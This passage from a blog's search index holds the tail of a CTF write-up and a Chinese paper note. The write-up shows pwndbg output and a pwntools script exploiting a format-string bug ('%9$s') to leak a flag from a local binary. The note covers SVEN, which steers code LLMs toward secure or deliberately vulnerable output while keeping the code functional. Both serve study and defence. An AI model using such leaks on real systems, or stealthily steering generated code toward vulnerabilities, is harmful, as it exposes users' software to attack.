0; j <= 21; ++j ) { v5 = format[j]; if ( !v5 || v11[j] != v5 ) { puts("You answered:"); printf(format); puts("\\nBut that was totally wrong lol get rekt"); fflush(_bss_start); result = 0; goto LABEL_11; } } 确定偏移 ──────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdcd8 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8 01:0008│-040 0x7fffffffdce0 ◂— 0x31000000 02:0010│-038 0x7fffffffdce8 —▸ 0x602ca0 ◂— 0x363534333231 /* '123456' */ 03:0018│-030 0x7fffffffdcf0 —▸ 0x6022a0 ◂— 0x602 04:0020│-028 0x7fffffffdcf8 —▸ 0x7fffffffdd00 ◂— 0x616c667b67616c66 ('flag{fla') ────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> fmtarg 0x7fffffffdcf8 The index of format argument : 10 (\\"\\%9$p\\") Exploit from pwn import * context(arch='amd64', os='linux') goodluck = ELF('./goodluck') sh = process('./goodluck') payload = b"%9$s" print(payload) # gdb.attach(sh) sh.sendline(payload) print(sh.recv()) sh.interactive() # zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:12:00] C:130 $ python3 exp.py [*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [+] Starting local process './goodluck': pid 7481 [*] Process './goodluck' stopped with exit code 0 (pid 7481) b"what's the flag\\nYou answered:\\nflag{flag}\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\nBut that was totally wrong lol get rekt\\n" [*] Switching to interactive mode [*] Got EOF while reading in interactive $","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"格式化字符串漏洞","slug":"格式化字符串漏洞","permalink":"https://zer0ptr.github.io/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"},{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/tags/Pwn/"}]},{"title":"【论文笔记】Large Language Models for Code:Security Hardening and Adversarial Testing","slug":"Large_Language_Models_for_Code_Security_Hardening_and_Adversarial_Testing","date":"2026-01-22T16:00:00.000Z","updated":"2026-02-09T03:55:59.719Z","comments":true,"path":"2026/01/23/Large_Language_Models_for_Code_Security_Hardening_and_Adversarial_Testing/","permalink":"https://zer0ptr.github.io/2026/01/23/Large_Language_Models_for_Code_Security_Hardening_and_Adversarial_Testing/","excerpt":"","text":"基本信息 Title: Large Language Models for Code:Security Hardening and Adversarial Testing Author: Jingxuan He, Martin Vechev (ETH Zurich) Conference: ACM CCS 2023 PDF: https://arxiv.org/pdf/2302.05319 该文章提出了一种用于代码生成大模型的安全硬化与评估的创新框架,其核心是通过静态的安全前缀引导为模型注入安全知识,并首创性地通过对抗性前缀生成来评估该防护的鲁棒性。其创新点在于敏锐地洞察到,传统的、基于规则的安全提示在面对自适应攻击时可能存在盲区,因此设计了一个“攻防一体”的闭环评估系统:一方面,利用漏洞扫描结果从知识库中匹配修复指令作为安全前缀,对模型进行安全加固;另一方面,训练一个攻击者模型,利用强化学习自动生成能诱导模型写出漏洞代码的对抗性前缀,以此对防御效果进行对抗性测试。这套方法将模型安全性的讨论,从“安全加固”是否有效提升到了在“何种攻击下会失效”,为构建可信的代码助手提供了自动化的评估范式和可量化的基准。 引言 大型语言模型(Large Language Models, LLMs)在训练了海量代码数据后,已展现出强大的代码生成能力,正逐步成为软件开发的重要辅助工具。然而,这些模型在训练过程中缺乏明确的安全目标,其生成代码的安全性存在严重隐患,可能无意中引入漏洞,给软件安全带来新的风险。当前,如何系统地提升代码生成模型的安全性(安全加固),以及如何严格评估其在恶意诱导下的鲁棒性(对抗测试),是两个至关重要却未被充分探索的维度。本文旨在通过提出一个名为可控代码生成的新任务,来统一应对这两个挑战。该任务以二元安全属性为参数,在不损害模型功能正确性的前提下,精准引导模型生成安全或不安全的代码。为此,我们提出了一种名为SVEN的新型学习框架。SVEN通过学习特定属性的连续向量来引导代码生成,无需修改基础模型权重,从而实现了高效、灵活的安全控制。实验表明,SVEN能极大增强模型的安全性:例如,它将一个先进的2.7B参数CodeGen模型生成安全代码的比例从59.1%显著提升至92.3%,反之,在进行对抗性测试时,也能将其安全生成率有效降至36.8%,同时SVEN在功能正确性方面与原始语言模型非常接近。 背景与动机 1. 代码生成模型的兴起与安全隐患 在自然语言领域取得巨大成功之后,在大规模代码库上预训练的大型语言模型(如Codex、CodeGen)已能根据自然语言描述生成功能复杂的代码片段,极大地提升了开发效率。然而,这些模型的训练目标主要是学习代码的语法与功能模式,其训练数据中不可避免地混合着大量含有已知或未知漏洞的不安全代码。这导致模型缺乏内在的“安全意识”,在生成过程中会不加判别地复现这些不安全模式,频繁产生诸如SQL注入、缓冲区溢出等常见漏洞的代码,使其在实际应用,尤其是安全敏感场景中,存在巨大的部署风险。 2. 现有安全研究的局限性 当前针对代码模型安全性的研究主要分为两个方向,但均存在不足。一方面,安全加固方向的工作(如基于规则的安全提示、代码后处理过滤)往往依赖于静态、固化的知识,泛化能力弱,且容易影响生成代码的功能正确性。另一方面,安全评估方向的工作大多依赖于有限的测试用例或简单的恶意提示,缺乏系统性、自适应的方法来探索模型安全边界,难以全面评估其在面对针对性攻击时的真实鲁棒性。这两个方向通常被割裂研究,缺乏一个统一的框架来同时实现有效的安全提升和严格的安全评估。 3. 本文的动机与核心思路 基于上述缺口,本文的核心动机是:能否构建一个统一的、参数化的框架,以可控的方式引导模型的安全属性,从而无缝衔接安全加固与对抗测试? 我们提出一个受控代码生成任务。该任务的关键在于,引导必须是精确的(能显著改变安全属性)、保真的(不影响功能正确性)且高效的(无需重训练大模型)。为此,我们提出了SVEN框架,其核心思想是学习一个轻量的、可插拔的“安全导向器”,通过属性特定的连续向量在推理时动态影响模型的生成概率分布。我们通过精心构建的数据集和专门的损失函数来训练这个导向器。这一设计使得我们既能将模型“硬化”为安全版本,也能模拟攻击者视角将其“弱化”为不安全版本,从而在一个框架内完成防御能力的提升与攻破深度的评估,为理解与保障代码生成模型的安全性提供了全新的视角与工具。 主要挑战 C1:模块化(Challenge I: Modularity) 由于现有大语言模型参数量巨大,对其进行重新预训练或微调(即修改全部模型权重)的成本过高。因此,我们期望训练一个独立的、可插拔的模块来实现安全控制,而无需覆盖或修改基础大模型的权重。同时,鉴于高质量安全漏洞数据获取困难,该方法还必须能够在少量数据上进行高效训练。 C2:功能正确性与安全控制的权衡(Challenge II: Functional Correctness vs. Security Control) 实施安全控制时,必须保持模型生成功能正确代码的能力。对于安全加固,这确保了模型的实用性;对于对抗测试,保持功能正确性对于攻击的隐蔽性至关重要。一个安全可控但功能严重受损的模型几乎没有实用价值,因为它容易被最终用户察觉并弃用。核心挑战在于设计一种能同时实现强安全控制和高功能正确性双重目标的训练机制。 C3:确保高质量训练数据 (Challenge III: Ensuring High-quality Training Data) 训练数据的质量至关重要。数据必须与我们的代码补全任务设置对齐并具有泛化性,且必须精确捕捉真实的安全修复逻辑。为了避免模型学习到无关的代码模式(如代码重构或功能性修改),必须排除这些无关的代码变更。尽管已有一些漏洞数据集,但它们不完全适用于本任务,甚至存在严重的数据质量问题。因此,我们必须分析现有数据集的适用性,并据此构建高质量的训练数据。 SVEN的设计与实现 1. 核心架构:模块化的连续前缀引导 SVEN的核心是一种轻量级、可插拔的适配器方法。它保持基础大语言模型的权重完全不变,通过为每个安全属性(安全/不安全)学习一组属性特定的连续向量序列(即“前缀”)来实现控制。在生成时,将对应属性的前缀作为初始隐藏状态输入模型,通过注意力机制影响后续所有隐藏状态的计算,从而在连续表示空间中“提示”模型生成符合目标属性的代码。因其参数量极小(仅为基础模型的约0.1%),SVEN实现了高效训练与部署的模块化。 2. 训练策略:分区域优化以实现双重目标 为实现“安全控制”与“保持功能正确性”的平衡,SVEN采用了分区域的专业化损失函数进行训练: 在用于训练的安全修复数据(漏洞代码/修复后代码对)中,被修改的代码区域对安全属性具有决定性,而未修改的区域则是中性的。 应用条件语言建模损失和安全-漏洞对比损失,以强化模型在该区域生成目标属性代码的能力。 应用基于KL散度的损失,约束前缀在该区域产生的下一个词元概率分布与原模型保持一致,从而保留模型的原始功能正确性。 3. 数据基础:高质量、精筛选的训练集 SVEN的有效性依赖于高质量数据。论文指出现有漏洞数据集存在泛化性不足或掺杂无关代码变更的问题。为此,作者对多个开源数据集进行了人工审查与精炼,最终构建了一个规模较小(约1.6k程序对)但质量极高的专用数据集。实验证明,该小规模高质量数据集的表现显著优于盲目包含更多低质量数据(约19倍)的基线,体现了数据质量重于数量的原则。 4. 关键特性与效果 强安全控制:在2.7B参数的CodeGen模型上,能将生成安全代码的比例从基线的59.1%,通过安全加固显著提升至92.3%,或通过对抗测试有效降低至36.8%。 实验设置 本文通过系统的实验评估SVEN在安全控制与功能正确性两方面的表现。 1. 评估任务与目标 实验核心围绕 “受控代码生成” 任务展开,具体评估以下两个维度: 安全加固:验证SVEN能否引导模型生成更安全的代码。 对抗测试:验证SVEN能否引导模型生成更不安全的代码(用于评估防护的鲁棒性)。 所有实验均在保持模型原有功能正确性的前提下进行。 2. 评估数据集与漏洞选择 为确保评估的全面性与现实性,本文构建了一个高质量的测试集: 漏洞类型:覆盖了9类关键且常见的CWE漏洞,包括: SQL注入(CWE-89) 路径遍历(CWE-22) 操作系统命令注入(CWE-78) 跨站脚本(CWE-79) 越界读写(CWE-125, CWE-787) 空指针解引用(CWE-476) 整数溢出(CWE-190) 释放后重用(CWE-416) 场景设计:每类漏洞下设计了多个不同的代码场景(共18个测试场景),涵盖Python和C两种语言,以模拟真实的编程任务。 数据划分:每个CWE下的场景被进一步划分为测试集与验证集,防止模型过拟合到特定代码片段。 3. 基线模型与目标模型 基础模型:实验主要在以CodeGen家族的多规模模型(350M, 2.7B, 6.1B参数)上进行,以检验方法在不同模型容量下的有效性。 对比基准:以未经过任何安全控制的原始CodeGen模型作为主要性能基线。 4. 评估指标 安全率:在给定漏洞场景下,模型生成的安全代码样本占总生成样本的百分比。这是衡量安全控制能力的核心指标。 功能正确率:使用HumanEval基准测试的pass@k得分,评估模型生成代码的功能正确性是否因安全控制而下降。 5. 实验配置 解码温度:为了检验方法在不同生成随机性下的稳定性,实验在两个不同的温度值下进行:0.4(兼顾多样性与确定性)和0.1(高确定性、低随机性)。 控制方式:实验中,通过切换SVEN学习的安全前缀与不安全前缀,使同一个基础模型能在安全加固与对抗测试两种模式下运行。 总结 本研究针对代码生成大模型频繁生成不安全代码问题,提出一个可控的安全研究范式。通过定义受控代码生成这一任务,将安全加固和对抗性测试整合到同一个框架下。为解决该任务,本文设计了SVEN这一轻量级解决方案,其核心在于: 1)模块化架构:通过学习属性特定的连续前缀来引导生成方向,无需修改大模型权重; 2)精准的训练策略:利用分区域损失函数,在代码的修改区域强化安全控制,在未变区域保持功能正确性; 3)高质量数据基础:通过人工精炼构建专用数据集,确保了方法的有效性。 全面的实验评估表明,SVEN能够以“开关”式的精准控制,在覆盖多种高危漏洞(CWE)的测试集上,显著提升或降低模型的安全生成率(例如,将某模型的安全率从59.1%提升至92.3%或降至36.8%),同时几乎完全保持模型原有的功能正确性。这项工作不仅为提升现有AI编程助手的安全性提供了切实可行的技术路径,更重要的是,它在保持功能正确性的严格约束下,为代码模型建立了系统性的对抗评估基准。 研究的局限性和未来方向 本研究虽提出了创新的框架,但仍存在若干局限,这些局限恰恰指明了有价值的未来工作方向: 泛化能力的局限:SVEN的有效性目前主要在Python和C/C++语言的特定CWE漏洞上得到验证。对于训练数据未覆盖的漏洞类型及其他编程语言,其控制能力可能下降。未来需构建更全面、多样化的安全修复数据集,可借助自动化安全分析工具或众包平台来扩充数据。 …","categories":[{"name":"LLM","slug":"LLM","permalink":"https://zer0ptr.github.io/categories/LLM/"}],"tags":[{"name":"LLM","slug":"LLM","permalink":"https://zer0ptr.github.io/tags/LLM/"},{"name":"Code Generation","slug":"Code-Generation","permalink":"https://zer0ptr.github.io/tags/Code-Generation/"},{"name":"LLM安全","slug":"LLM安全","permalink":"https://zer0ptr.github.io/tags/LLM%E5%AE%89%E5%85%A8/"},{"name":"Prefix Tunning","slug":"Prefix-Tunning","permalink":"https://zer0ptr.github.io/tags/Prefix-Tunning/"}]}],"categories":[{"name":"Misc","slug":"Misc","permalink":"https://zer0ptr.github.io/categories/Misc/"},{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"},{"name":"杂言碎语","slug":"杂言碎语","permalink":"https://zer0ptr.github.io/categories/%E6%9D%82%E8%A8%80%E7%A2%8E%E8%AF%AD/"},{"name":"LLM","slug":"LLM","permalink":"https://zer0ptr.github.io/categories/LLM/"}],"tags":[{"name":"BUUCTF","slug":"BUUCTF","permalink":"https://zer0ptr.github.io/tags/BUUCTF/"},{"name":"CTF","slug":"CTF","permalink":"https://zer0ptr.github.io/tags/CTF/"},{"name":"Misc","slug":"Misc","permalink":"https://zer0ptr.github.io/tags/Misc/"},{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/tags/Pwn/"},{"name":"Heap","slug":"Heap","permalink":"https://zer0ptr.github.io/tags/Heap/"},{"name":"UAF","slug":"UAF","permalink":"https://zer0ptr.github.io/tags/UAF/"},{"name":"unlink","slug":"unlink","permalink":"https://zer0ptr.github.io/tags/unlink/"},{"name":"hitcon","slug":"hitcon","permalink":"https://zer0ptr.github.io/tags/hitcon/"},{"name":"堆","slug":"堆","permalink":"https://zer0ptr.github.io/tags/%E5%A0%86/"},{"name":"堆溢出","slug":"堆溢出","permalink":"https://zer0ptr.github.io/tags/%E5%A0%86%E6%BA%A2%E5%87%BA/"},{"name":"Chunk Extend and Overlapping","slug":"Chunk-Extend-and-Overlapping","permalink":"https://zer0ptr.github.io/tags/Chunk-Extend-and-Overlapping/"},{"name":"雨天","slug":"雨天","permalink":"https://zer0ptr.github.io/tags/%E9%9B%A8%E5%A4%A9/"},{"name":"LLM","slug":"LLM","permalink":"https://zer0ptr.github.io/tags/LLM/"},{"name":"Code Generation","slug":"Code-Generation","permalink":"https://zer0ptr.github.io/tags/Code-Generation/"},{"name":"LLM安全","slug":"LLM安全","permalink":"https://zer0ptr.github.io/tags/LLM%E5%AE%89%E5%85%A8/"},{"name":"RAG","slug":"RAG","permalink":"https://zer0ptr.github.io/tags/RAG/"},{"name":"格式化字符串漏洞","slug":"格式化字符串漏洞","permalink":"https://zer0ptr.github.io/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"},{"name":"Prefix Tunning","slug":"Prefix-Tunning","permalink":"https://zer0ptr.github.io/tags/Prefix-Tunning/"}]}